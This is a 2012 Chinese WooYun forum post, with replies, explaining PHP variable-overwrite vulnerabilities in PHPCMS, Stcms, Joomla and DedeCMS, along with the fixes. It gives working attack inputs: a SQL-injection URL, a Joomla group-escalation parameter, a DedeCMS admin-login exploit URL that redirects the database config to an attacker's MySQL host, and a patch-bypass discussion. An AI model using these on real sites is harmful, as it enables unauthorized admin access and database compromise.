当前位置:WooYun(白帽子技术社区) >> php >> php变量覆盖经验解说

php变量覆盖经验解说

_Evil (科普是一种公益行为) | 2012-12-08 19:21

1[b].变量没有初始化的问题(1):[/b]

wooyun连接1:[link href="WooYun: PHPCMS V9 member表内容随意修改漏洞"]tenzy[/link]

$updateinfo['password'] = $newpassword;里面的数组没有初始化类似这样的赋值,我们在挖洞的时候搜索类似updateinfo这样的关键字看看

是否初始化,如果没有。。。且register_global=On支持

可以提交
updateinfo[amount]这样的数组随意修改自己的余额、点数、会员组、VIP等一切存放在member表的信息.

修复:$updateinfo = array();

变量没有初始化的问题(2):
wooyun连接2:[link href="WooYun: Stcms的一个sql注射"]Zvall[/link]
里面说明了绕过程序的防御,这个是导致注入的一个因素. 更多因素是因为where变量没有初始化!
case 'list':
  
    $totalNum = $mysql->numTable("member", $where);

Where 没初始化 导致可执行任意sql语句
http://localhost/stcms_html/member/u.php?action=list&where={sql}

修复:在类调用前加上 $where='';

我们在挖洞的时候搜索类似where这样的关键字看,看看是否初始化.

变量没有初始化的问题(3):
wooyun连接3: [link href="WooYun: joomla变量覆盖导致注册提权漏洞"]牛奶坦克[/link]

// 这个地方获取用户注册信息,POST进来的jform数组,但是没有详细指定
$requestData = JRequest::getVar('jform', array(), 'post', 'array');

$data = (array)$this->getData();
// 遍历出注册信息
foreach ($temp as $k => $v) {
$data[$k] = $v;
}

看似没问题的可是二维数组的特性可以覆盖住:
jfrom[groups][]=7,利用foreach的问题覆盖掉groups数组,变成7(Administrator)。
修复:像wooyun连接1那样$updateinfo['password'] = $newpassword类似这样赋值。 或者检查数组是否为二维

2.核心代码配置问题引发变量覆盖:
Dedecms:例子(1):
一. 了解PHP超级全局变量
        下面是PHP的超级全局变量,可以了解一个特性,全是数组。
        $GLOBALS, 所有全局变量数组
        $_SERVER, 服务器环境变量数组
        $_GET,通过GET方法传递给脚本的变量数组
        $_POST, 通过POST方法传递给脚本的变量数组
        $_COOKIE,cookie变量数组
        $_REQUEST,所有用户输入的变量数组,包括$_GET, $_POST和$_COOKIE所包含的输入内容
        $_FILES,与文件上传相关得变量数组
        $_ENV,环境变量数组
        $_SESSION,会话变量数组

二:理解$_GET变量

可以写个PHP来看看:
<?php
        var_dump($_GET);
        ?>


访问
      http://www.xxx.com /test.php?key=value
        得到
      array(1) { ["key"]=> string(5) "value" }
        OK,看到这里应该明白了,$_GET就是个数组,我们用GET方法可以传一个数组。
        

        再访问
      http://www.xxx.com /test.php?key[arr1]=value
        得到
   array(1) { ["key"]=> array(1) { ["arr1"]=> string(5) "value" } }
        我们通过GET方法传入了一个嵌套数组。
        

                        到这里其实问题就出来了,很多PHP安全资料都没提过GET传嵌套数组的这个特性,偶尔在几个exploit里看到 - -!
                        

                        三. 深入跟进DEDECMS全局变量注册漏洞
                        

                        真正理解了$_GET变量后,我们来深入跟进这个漏洞产生的真正原因,模拟一下漏洞的全过程:
                        

                        提交一个嵌套数组:
                                           http://www.xxxx.com /test.php?_POST[GLOBALS][cfg_dbname]=X
                
                                                                        array(1) { ["_POST"]=> array(1) { ["GLOBALS"]=>

array(1) { ["cfg_dbname"]=> string(1) "X" } } }
    

                
        
        
                        假如数据传入了DEDECMS程序,在第一层过滤,DEDECMS会检查$_REQUEST里有没有全局变量的关键字,但我们的KEY

是_POST且是个数组,所以轻松绕过。
            foreach($_REQUEST as $_k=>$_v)
                {
                if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) )
                {
                        exit('Request var not allow!');
                }
                }
  

                        接着进入真正的注册变量流程,按顺序是先从$_GET变量注册的,我们的KEY是(_POST),第一轮遍历$_GET成功注册

了变量$_POST,第二轮遍历$_POST成功注册了变量$GLOBALS !
                                                foreach(Array('_GET','_POST','_COOKIE') as $_request)
                        {
                        foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
                        }

        
                        到这里漏洞的原因就清楚了,程序通过$_GET注册了$_POST,通过$_POST注册了$GLOBALS!
                        

        
                        四. 领悟漏洞后的修补
        
                        完全领悟这个漏洞后,就会知道怎么修补了。
        
                        1. 可以看看DISCUZ是怎么做的,当发现KEY的第一个字符存在_就不注册变量。
                        

                  foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
                foreach($$_request as $_key => $_value) {
                  $_key{0} != '_' && $$_key = daddslashes($_value);
                }
                }

                        

                        2. DEDECMS可以用下面的方法临时修补,当遍历$_POST注册变量,发现变量名存在GLOBALS就会阻止注册变量。
        foreach(Array('_GET','_POST','_COOKIE') as $_request)
                        {
                                 foreach($$_request as $_k => $_v) {
                                            if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) ){
                                                    exit('Request var not allow!');
                                           }
                                            ${$_k} = _RunMagicQuotes($_v);
                            }
                        }




例子exp:http://www.xx.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=账号&pwd=密码& _POST[GLOBALS]

[cfg_dbhost]=MYSQL外链IP&_POST[GLOBALS] [cfg_dbuser]=MYSQL的账号&_POST[GLOBALS][cfg_dbpwd]=MYSQL的密码& _POST[GLOBALS]

[cfg_dbname]=自己的dedecms的数据库


Dedecms:例子(2): 突破官网补丁(鸡助)
0x5sec

为什么超全局变量$_REQUEST没有读取到$_COOKIE的参数呢?这个是php 5.3以后php.ini默认设置
request_order = "GP",所以你懂的!如果你修改request_order = "GPC",$_REQUEST应该就可以接受到参数了!
所以如果php是大于5.3的,变量覆盖漏洞应该可以再次利用!


CheckRequest($_REQUEST);   //这里检查变量是否合法 漏洞缺陷!$_COOKIE的参数根本不鸟他。。。

更多连接:https://forum.90sec.org/thread-2476-1-1.html

https://forum.90sec.org/thread-2468-1-1.html


3.Yaseng php变量覆盖实例:
Yaseng 介绍得很详细了,各种突破.


对于Dedecms例子2中:有部分人说& _POST[0xHEX 16进制][cfg_dbhost] //GLOBALS 这样能绕过? 本人测试多次不成功,可能是某些问题,也可能

是假的.



吐槽用WB砸死我吧!

分享到:
  1. 1#
    回复此人 感谢
    _Evil (科普是一种公益行为) | 2012-12-08 21:30

    @xsser 还有两则没写 明天补上! 求施舍wb  ^_^

  2. 2#
    回复此人 感谢
    蟋蟀哥哥 (̷ͣ̑̆ͯ̆̋͋̒ͩ͊̋̇̒ͦ̿̐͞҉̷̻̖͎̦̼) | 2012-12-08 21:56

    不错。。顶

  3. 3#
    回复此人 感谢
    safefocus | 2012-12-08 21:58

    话说感谢,lz会得到1wb,那本人会减wb么,。。。我点感谢了。。。

  4. 4#
    回复此人 感谢
    Fate (NIXI Team,砍死所有脑残与装逼犯) | 2012-12-08 23:30

    @safefocus 不会减 快也点我一下

  5. 5#
    回复此人 感谢
    possible (everything is possible) | 2012-12-09 09:01

    不错  感谢+1

  6. 6#
    回复此人 感谢
    se55i0n (那些年,我们一起看的岛国动作片~) | 2012-12-09 20:28

    不错  感谢+1

  7. 7#
    回复此人 感谢
    顺子 | 2012-12-09 20:31

    我不会看代码:)但是加油

  8. 8#
    回复此人 感谢
    CHForce (带马师) | 2012-12-09 21:07

    不错,这个漏洞覆盖很大的

  9. 9#
    回复此人 感谢
    hacx | 2012-12-09 21:16

    @_Evil
    http://www.0x50sec.org/dedecms%E5%87%A0%E4%B8%AA%E6%9C%80%E6%96%B0bug%E5%88%86%E6%9E%90/这里提到
    尽管覆盖$GLOBALS变量在包含数据库配置文件./data/common.inc.php之前,按照道理来说没办法覆盖才对。但是dedecms里面数据库配置变量用的是$cfg_dbxxxx,但是到了,./include/dedesqli.class.php文件里用的时候却用的是$GLOBALS['cfg_xxxx'];,通常的情况下这两者应该是一样的,但是当变量覆盖漏洞发生后$GLOBALS不再是超全局变量了,包含./data/common.inc.php之后$cfg_dbxxxx的值改变了,$GLOBALS['cfg_xxxx']的值却不会跟着变,所以才能利用成功。
    能解释下为什么,$GLOBALS['cfg_xxxx']的值却不会跟着变吗?

  10. 10#
    回复此人 感谢
    数据流 (| 1970-00-00 00:00) | 2012-12-09 21:20

    恭喜被雷劈

  11. 11#
    回复此人 感谢
    _Evil (科普是一种公益行为) | 2012-12-09 23:00

    @hacx = = 因为他本来就是全局: 程序在common....... 文件的时候是$cfg_dbxxx 假设他是wooyun 到dedesql........ 文件后 调用$GLOBALS['cfg_xxxxxx'] 这个也是wooyun。 当我们覆盖的时候 覆盖$cfg_dbxxx 假设我把它覆盖成90sec 而$GLOBALS['cfg_xxxxxxx'] 本来就是全局了他还是原来那个wooyun的数值。。。

  12. 12#
    回复此人 感谢
    冷冷的夜 (1) | 2012-12-09 23:07

    UP

  13. 13#
    回复此人 感谢
    情深 (ส็็็็็็็็็็็็็็็็็็็็็็็็็) | 2012-12-09 23:08

    写的挺好的,就是register_global=On一般就鸡肋了。。核心代码配置问题这个phpcms2008也有的。。

  14. 14#
    回复此人 感谢
    hacx | 2012-12-10 00:06

    @_Evil
    我直接赋值的时候,$GLOBALS[$var]与$var貌似是同步的
    不知道为什么dede覆盖那里不同步了。为什么变量覆盖漏洞发生后$GLOBALS不再是超全局变量了?

  15. 15#
    回复此人 感谢
    open (心佛即佛,心魔即魔.) | 2012-12-10 11:51

    Good,这个不错!

  16. 16#
    回复此人 感谢
    _Evil (科普是一种公益行为) | 2012-12-10 13:36

    @hacx wooyun你了

  17. 17#
    回复此人 感谢
    神倦懒言 | 2012-12-14 18:50

    流B啊

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录